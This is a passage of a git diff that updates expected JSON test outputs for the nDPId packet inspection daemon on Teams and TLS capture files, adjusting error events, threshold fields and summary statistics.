01098{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","flow_id":80,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041695421892,"flow_src_last_pkt_time":1587041695421892,"flow_dst_last_pkt_time":1587041695421892,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":124,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":124,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":124,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041695421892,"l3_proto":"ip4","src_ip":"52.114.252.21","dst_ip":"192.168.1.6","src_port":3480,"dst_port":50036,"l4_proto":"udp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}}},"confidence": {"6":"DPI"},"proto":"STUN.Skype_TeamsCall","proto_id":"78.38","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP","hostname":"","stun": {"num_pkts":0,"num_binding_requests":0,"num_processed_pkts":0}}} @@ -518,22 +480,14 @@ 02229{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":2690,"source":"teams.pcap","alias":"nDPId-test","flow_id":64,"flow_state":"finished","flow_src_packets_processed":19,"flow_dst_packets_processed":13,"flow_first_seen":1587041693516414,"flow_src_last_pkt_time":1587041693824623,"flow_dst_last_pkt_time":1587041695435566,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":187,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":477,"flow_dst_tot_l4_payload_len":6361,"midstream":0,"thread_ts_usec":1587041695435566,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50018,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":1,"avg":71850.4,"max":1566873,"stddev":274680.6,"var":75449425920.0,"ent":1.9,"data": [44968,45079,183,47440,47249,164,13,124,2,107,17,104,3,107,2,120,2,1,8026,8,35,52434,1246,45626,48613,92238,43679,69083,272,113543,1566873]},"pktlen": {"min":40,"avg":256.9,"max":1492,"stddev":427.0,"var":182315.3,"ent":3.7,"data": [64,52,40,227,1492,52,1492,588,52,52,1492,588,52,40,588,166,40,40,40,147,46,85,46,91,40,141,224,40,71,40,46,46]},"bins": {"c_to_s": [15,1,0,2,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [4,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0]},"directions": [0,1,0,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1],"entropies": [4.396777153,4.946223736,4.453056812,5.436062336,7.472877979,4.624014378,7.357961178,6.174726009,4.707639694,4.669178009,7.651301384,7.035131931,4.669178009,4.492897511,7.576755524,6.572272301,4.384184361,4.492897511,4.492897034,6.376044750,4.495644569,5.773638725,4.565871716,5.388861179,4.561769009,6.442826271,6.864662647,4.511769295,5.438062191,4.384184361,4.565872192,4.565872192]},"ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative"}} 00650{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2696,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":2,"flow_src_last_pkt_time":1587041695586059,"flow_dst_last_pkt_time":1587041695278787,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"thread_ts_usec":1587041695586059,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMZh4AAEARkejAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} 00652{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2697,"source":"teams.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":2,"flow_src_last_pkt_time":1587041695586146,"flow_dst_last_pkt_time":1587041695278905,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"thread_ts_usec":1587041695586146,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMyucAAEARLR\/AqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2699,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041695611288} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2699,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041695591686,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00650{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2701,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":3,"flow_src_last_pkt_time":1587041695890424,"flow_dst_last_pkt_time":1587041695278787,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"thread_ts_usec":1587041695890424,"pkt":"EBMx8Tl2KDc3AG3ICABFAACM6boAAEARDkzAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} 00651{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2702,"source":"teams.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":3,"flow_src_last_pkt_time":1587041695890513,"flow_dst_last_pkt_time":1587041695278905,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"thread_ts_usec":1587041695890513,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMMbQAAEARxlLAqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2715,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041696611304} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2715,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041696574201,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2730,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041697061972,"flow_src_last_pkt_time":1587041697061972,"flow_dst_last_pkt_time":1587041697061972,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041697061972,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60568,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00543{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2730,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_src_last_pkt_time":1587041697061972,"flow_dst_last_pkt_time":1587041697061972,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1587041697061972,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxpHAqAEGKE+KKeyYAbtVmTcwAAAAALAC\/\/8wcwAAAgQFtAEDAwUBAQgKMITmwQAAAAAEAgAA"} 00538{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2731,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":2,"flow_src_last_pkt_time":1587041697061972,"flow_dst_last_pkt_time":1587041697091344,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"thread_ts_usec":1587041697091344,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8X+VAAG4GOLAoT4opwKgBBgG77Jhhqm+9VZk3MaASIADeAQAAAgQFoAEDAwgEAggKC\/ZmGDCE5sE="} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2732,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":3,"flow_src_last_pkt_time":1587041697091452,"flow_dst_last_pkt_time":1587041697091344,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041697091452,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyYAbtVmTcxYapvvoAQEAkclQAAAQEICjCE5t4L9mYY"} 01092{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2733,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041697061972,"flow_src_last_pkt_time":1587041697092026,"flow_dst_last_pkt_time":1587041697091344,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":239,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":239,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041697092026,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60568,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud","hostname":"gate.hockeyapp.net","tls": {"version":"TLSv1.2","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}}} 01106{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2734,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041697061972,"flow_src_last_pkt_time":1587041697092026,"flow_dst_last_pkt_time":1587041697123566,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":239,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":239,"flow_dst_tot_l4_payload_len":1440,"midstream":0,"thread_ts_usec":1587041697123566,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60568,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud","hostname":"gate.hockeyapp.net","tls": {"version":"TLSv1.2","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2753,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041697412826} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2753,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041697244908,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2761,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041697611318} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2761,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041697604150,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00724{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","flow_id":83,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041697660621,"flow_src_last_pkt_time":1587041697660621,"flow_dst_last_pkt_time":1587041697660621,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":36,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":36,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":36,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041697660621,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3} 00533{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_src_last_pkt_time":1587041697660621,"flow_dst_last_pkt_time":1587041697660621,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"thread_ts_usec":1587041697660621,"pkt":"KDc3AG3IEBMx8Tl2CABFoAA40fgAADUBJWpdR27NwKgBBgMDcCsAAAAARQAASh2AAAAyEd1gwKgBBl1Hbs3DdD\/NADaJWQ=="} 00849{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","flow_id":83,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041697660621,"flow_src_last_pkt_time":1587041697660621,"flow_dst_last_pkt_time":1587041697660621,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":36,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":36,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":36,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041697660621,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","l4_proto":"icmp","ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","entropy":4.321296}} @@ -625,7 +579,7 @@ 00909{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2817,"source":"teams.pcap","alias":"nDPId-test","flow_id":75,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1587041694221137,"flow_src_last_pkt_time":1587041694221137,"flow_dst_last_pkt_time":1587041694234511,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":58,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":58,"flow_dst_max_l4_payload_len":134,"flow_src_tot_l4_payload_len":58,"flow_dst_tot_l4_payload_len":134,"midstream":0,"thread_ts_usec":1587041698021081,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60837,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Teams","proto_id":"5.250","encrypted":0,"breed":"Safe","category_id":15,"category":"Collaborative"}} 00920{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2817,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"finished","flow_src_packets_processed":19,"flow_dst_packets_processed":13,"flow_first_seen":1587041687436782,"flow_src_last_pkt_time":1587041687725655,"flow_dst_last_pkt_time":1587041687725568,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1313,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":2206,"flow_dst_tot_l4_payload_len":7143,"midstream":0,"thread_ts_usec":1587041698021081,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"TLS.Azure","proto_id":"91.276","encrypted":1,"breed":"Acceptable","category_id":13,"category":"Cloud"}} 00909{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2817,"source":"teams.pcap","alias":"nDPId-test","flow_id":39,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1587041685093044,"flow_src_last_pkt_time":1587041685093044,"flow_dst_last_pkt_time":1587041685127636,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":53,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":53,"flow_dst_max_l4_payload_len":174,"flow_src_tot_l4_payload_len":53,"flow_dst_tot_l4_payload_len":174,"midstream":0,"thread_ts_usec":1587041698021081,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":50653,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Teams","proto_id":"5.250","encrypted":0,"breed":"Safe","category_id":15,"category":"Collaborative"}} -00571{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":2817,"source":"teams.pcap","alias":"nDPId-test","packets-captured":2817,"packets-processed":2775,"total-skipped-flows":0,"total-l4-payload-len":1327851,"total-not-detected-flows":1,"total-guessed-flows":2,"total-detected-flows":80,"total-detection-updates":64,"total-updates":0,"current-active-flows":0,"total-active-flows":83,"total-idle-flows":83,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":628,"global_ts_usec":1587041698021081} +00571{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":2817,"source":"teams.pcap","alias":"nDPId-test","packets-captured":2817,"packets-processed":2775,"total-skipped-flows":0,"total-l4-payload-len":1327851,"total-not-detected-flows":1,"total-guessed-flows":2,"total-detected-flows":80,"total-detection-updates":64,"total-updates":0,"current-active-flows":0,"total-active-flows":83,"total-idle-flows":83,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":582,"global_ts_usec":1587041698021081} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 2817/2775 ~~ skipped flows.............: 0 @@ -638,6 +592,6 @@ ~~ total memory freed........: 7189420 bytes ~~ total allocations/frees...: 125561/125561 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 187 chars +~~ json string min len.......: 287 chars ~~ json string max len.......: 2286 chars -~~ json string avg len.......: 1236 chars +~~ json string avg len.......: 1286 chars diff --git a/test/results/tls_invalid_reads.pcap.out b/test/results/tls_invalid_reads.pcap.out index 6c0c83292..9ae004727 100644 --- a/test/results/tls_invalid_reads.pcap.out +++ b/test/results/tls_invalid_reads.pcap.out @@ -12,11 +12,11 @@ 00534{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1421985541772794,"flow_dst_last_pkt_time":1421985541772794,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"thread_ts_usec":1421985541772794,"pkt":"AAOf2SAhEFbKCIWJCABFAAAyM2VAAH8GFrhKUKBjQ9lNHAy6AbvQcb+g7Sa+J1AY\/QKZOwAlAAMBAAUBAAABAQ=="} 01037{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":10,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":4,"flow_dst_packets_processed":4,"flow_first_seen":1252380859868541,"flow_src_last_pkt_time":1252380859943054,"flow_dst_last_pkt_time":1252380859942787,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":102,"flow_dst_max_l4_payload_len":851,"flow_src_tot_l4_payload_len":102,"flow_dst_tot_l4_payload_len":1329,"midstream":0,"thread_ts_usec":1421985541772794,"l3_proto":"ip4","src_ip":"192.168.10.101","dst_ip":"206.33.61.113","src_port":3967,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} 00566{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":10,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","packets-captured":10,"packets-processed":9,"total-skipped-flows":0,"total-l4-payload-len":1441,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":1,"total-detection-updates":2,"total-updates":0,"current-active-flows":1,"total-active-flows":2,"total-idle-flows":1,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":14,"global_ts_usec":1544035479538596} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":10,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479538596} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1544035479538596,"packet_id":10,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479538596} 00452{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":118,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"thread_ts_usec":1421985541772794,"pkt":"AAAAAAAFYAgQGhx\/gQBsn4EAYAIIAEVoAGDVegAA\/xG3XAruJEAK7vQxCGgIaABMAAAw\/wA8B+zklkUAADyx3UAAQAbcAwq\/ixE23eAt5LgBu\/kVfJ4AAAAAoAL\/\/3GmAAACBAW0BAIICgAUzUMAAAAAAQMDBg=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":11,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479721867} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1544035479721867,"packet_id":11,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479721867} 00447{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":118,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"thread_ts_usec":1421985541772794,"pkt":"AAAAAAAFYAgQGhx\/gQAMn4EAAAIIAEVoAGBxLwAAOxHfqAru9DEK7iRACGgIaABMAAAw\/wA8AABhskUAADwAAEAA5Abp4Dbd4C0Kv4sRAbvkuBpaSBv5FXyfoBJxILDEAAACBAV4BAIICh1e0BYAFM1DAQMDCA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":12,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479768404} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1544035479768404,"packet_id":12,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1544035479768404} 00726{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":324,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":324,"pkt_l4_len":0,"thread_ts_usec":1421985541772794,"pkt":"AAAAAAAFYAgQGhx\/gQBsn4EAYAIIAEVoAS7V9AAA\/xG2FAruJEAK7vQxCGgIaAEaAAAw\/wEKB+zklkUAAOux30AAQAbbUgq\/ixE23eAt5LgBu\/kVfJ8aWkgcgBgFWRb9AAABAQgKABTNax1e0BYWAwEAsgEAAK4DA+Jfj3VZ7Se+llOF2hoK\/0SOWa4JB8kGoFPipHXr6zI3AAAowCvALMAvwDAAngCfwAnACsATwBQAMwA5wAfAEQCcAJ0ALwA1AAUA\/wEAAF0AAAAWABQAABFlLmNyYXNobHl0aWNzLmNvbQAXAAAAIwAAAA0AFgAUBgEGAwUBBQMEAQQDAwEDAwIBAgMAEAALuImlL1Y1GeVflD5H40\/GlDV3w0Q4eHATzs15UMvq3bDFbT9WBxf4WY7WsXHZhuEm\/fgNJZccyFnwUKMb"} 00882{"flow_event_id":6,"flow_event_name":"guessed","thread_id":0,"packet_id":12,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1421985541772794,"flow_src_last_pkt_time":1421985541772794,"flow_dst_last_pkt_time":1421985541772794,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":10,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":10,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":10,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1421985541772794,"l3_proto":"ip4","src_ip":"74.80.160.99","dst_ip":"67.217.77.28","src_port":3258,"dst_port":443,"l4_proto":"tcp","ndpi": {"confidence": {"2":"Match by IP"},"proto":"TLS.GoTo","proto_id":"91.293","encrypted":1,"breed":"Acceptable","category_id":10,"category":"VoIP"}} 